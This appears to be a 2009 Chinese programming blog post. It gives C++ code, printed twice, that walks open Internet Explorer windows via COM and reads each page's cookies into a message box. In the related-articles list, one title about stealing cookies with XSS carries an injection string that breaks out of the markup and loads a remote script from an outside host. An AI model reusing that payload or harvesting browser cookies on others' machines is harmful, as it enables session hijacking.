利用VC得到当前IE的Cookie
2009-03-21 22:42
155 查看
// by sojoo
#define UNICODE
#define _UNICODE
#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
#include <mshtml.h>
#include <ExDisp.h>
int main(int argc, char* argv[])
{
HRESULT hr;
CoInitialize(NULL);
IShellWindows * lpShellWindows;
hr = CoCreateInstance(CLSID_ShellWindows, NULL, 1, IID_IShellWindows, (PVOID*)&lpShellWindows);
if ( hr == S_OK )
{
IDispatch* lpDispatch;
long nCount;
lpShellWindows->get_Count(&nCount);
for ( long i = 0; i < nCount; i++ )
{
VARIANT varIndex;
varIndex.vt = VT_I4;
varIndex.intVal = i;
hr = lpShellWindows->Item(varIndex, &lpDispatch);
if ( hr == S_OK )
{
IWebBrowser2* lpWebBrowser2;
hr = lpDispatch->QueryInterface(IID_IWebBrowser2, (PVOID*)&lpWebBrowser2);
if ( hr == S_OK )
{
IDispatch* lpDispatch;
// lpWebBrowser2->get_HWND();
hr = lpWebBrowser2->get_Document(&lpDispatch);
if ( hr == S_OK )
{
IHTMLDocument2* lpDocument2;
hr = lpDispatch->QueryInterface(IID_IHTMLDocument2, (PVOID*)&lpDocument2);
if ( hr == S_OK )
{
BSTR bstrCookie;
hr = lpDocument2->get_cookie(&bstrCookie);
if ( hr == S_OK )
{
MessageBox(NULL, bstrCookie, NULL, 0);
SysFreeString(bstrCookie);
}
lpDocument2->Release();
}
lpDispatch->Release();
}
lpWebBrowser2->Release();
}
lpDispatch->Release();
}
}
lpShellWindows->Release();
}
CoUninitialize();
return 0;
}
#define UNICODE
#define _UNICODE
#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
#include <mshtml.h>
#include <ExDisp.h>
int main(int argc, char* argv[])
{
HRESULT hr;
CoInitialize(NULL);
IShellWindows * lpShellWindows;
hr = CoCreateInstance(CLSID_ShellWindows, NULL, 1, IID_IShellWindows, (PVOID*)&lpShellWindows);
if ( hr == S_OK )
{
IDispatch* lpDispatch;
long nCount;
lpShellWindows->get_Count(&nCount);
for ( long i = 0; i < nCount; i++ )
{
VARIANT varIndex;
varIndex.vt = VT_I4;
varIndex.intVal = i;
hr = lpShellWindows->Item(varIndex, &lpDispatch);
if ( hr == S_OK )
{
IWebBrowser2* lpWebBrowser2;
hr = lpDispatch->QueryInterface(IID_IWebBrowser2, (PVOID*)&lpWebBrowser2);
if ( hr == S_OK )
{
IDispatch* lpDispatch;
// lpWebBrowser2->get_HWND();
hr = lpWebBrowser2->get_Document(&lpDispatch);
if ( hr == S_OK )
{
IHTMLDocument2* lpDocument2;
hr = lpDispatch->QueryInterface(IID_IHTMLDocument2, (PVOID*)&lpDocument2);
if ( hr == S_OK )
{
BSTR bstrCookie;
hr = lpDocument2->get_cookie(&bstrCookie);
if ( hr == S_OK )
{
MessageBox(NULL, bstrCookie, NULL, 0);
SysFreeString(bstrCookie);
}
lpDocument2->Release();
}
lpDispatch->Release();
}
lpWebBrowser2->Release();
}
lpDispatch->Release();
}
}
lpShellWindows->Release();
}
CoUninitialize();
return 0;
}
相关文章推荐
- 利用VC得到当前IE的Cookie
- VC FindWindow 得到IE8多选项卡,当前浏览网页网址!!
- vc得到当前目录和系统目录,从字符串中提取数字
- java利用当前时间,得到上一个月份
- VC得到屏幕的当前分辨率方法(5种)
- 如何利用java得到当前的时间和前一天的时间
- xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-
- 如何利用javascript得到系统当前时间(含有格式的)
- VC++得到当前系统时间日期 GetSystemTime()
- php中利用date(),mktime()函数得到当前月的上个月和下个月
- vc++获取当前使用IE的URL路径与页面的源代码
- java 利用java运行时的方法得到当前屏幕截图的方法
- 利用cookie实现iframe刷新时停留在当前页面
- 如何利用java得到当前的时间和前一天的时间
- 利用cookie登陆并得到登陆后的页面
- VC中得到当前系统的时间和日期
- 如何得到DataGrid当前选中行的数据(VC++)
- VC++]用CTime类得到当前日期、时间、星期,格式化(详细讲解)
- VC++得到当前系统时间日期 GetSystemTime()
- 如何利用java得到当前的时间和前一天的时间